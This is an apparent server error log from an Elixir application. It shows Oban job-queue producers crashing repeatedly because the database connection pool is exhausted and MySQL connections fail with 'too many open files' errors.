State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:03:41.241062Z], limit: 20, uuid: "0d964f0d-e3c4-4320-b71c-3341730d34e9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:41.241068Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.105559>, refresh_timer: #Reference<0.2525715032.1121189889.105533>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:53.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:03:41.238673Z], limit: 10, uuid: "568e73d0-0c0b-4349-8232-a534d9d89dfd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:41.238680Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.105563>, refresh_timer: #Reference<0.2525715032.1068236804.250353>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:53.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:03:41.242150Z], limit: 5, uuid: "78072961-ae42-40be-958a-ddb19ec02bf9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:41.242155Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.105562>, refresh_timer: #Reference<0.2525715032.1099169794.260524>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:55.204000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:02.077000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:03.728000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:04.758000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:03:53.241449Z], limit: 5, uuid: "c67866ac-2f4e-48f9-ad04-829b8239a6c2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:53.241459Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.260692>, refresh_timer: #Reference<0.2525715032.1099169794.260674>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:05.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:03:53.242288Z], limit: 3, uuid: "77e78ba4-2a06-4884-b60f-c4e5d0e56415", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:53.242294Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.260738>, refresh_timer: #Reference<0.2525715032.1099169794.260698>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:03:53.242933Z], limit: 10, uuid: "fefadddf-621c-4745-9210-a0dfa1caca47", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:53.242938Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.234693>, refresh_timer: #Reference<0.2525715032.1068236804.250516>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:05.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:03:53.241590Z], limit: 50, uuid: "da45878d-e076-49e2-86a8-1d77d7f4be5d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:53.241596Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.260693>, refresh_timer: #Reference<0.2525715032.1099169794.260677>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:03:53.246086Z], limit: 5, uuid: "452529ec-ce1f-4b4e-b01c-4f6939cff96d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:53.246099Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.234692>, refresh_timer: #Reference<0.2525715032.1077411843.234691>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:05.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:03:53.242457Z], limit: 20, uuid: "3f5d9cf1-f6b9-48b8-b5ff-fe89f1b3c5ab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:53.242463Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.260737>, refresh_timer: #Reference<0.2525715032.1099169794.260706>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:05.568000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:08.054000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:08.485000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:10.897000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:13.460000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
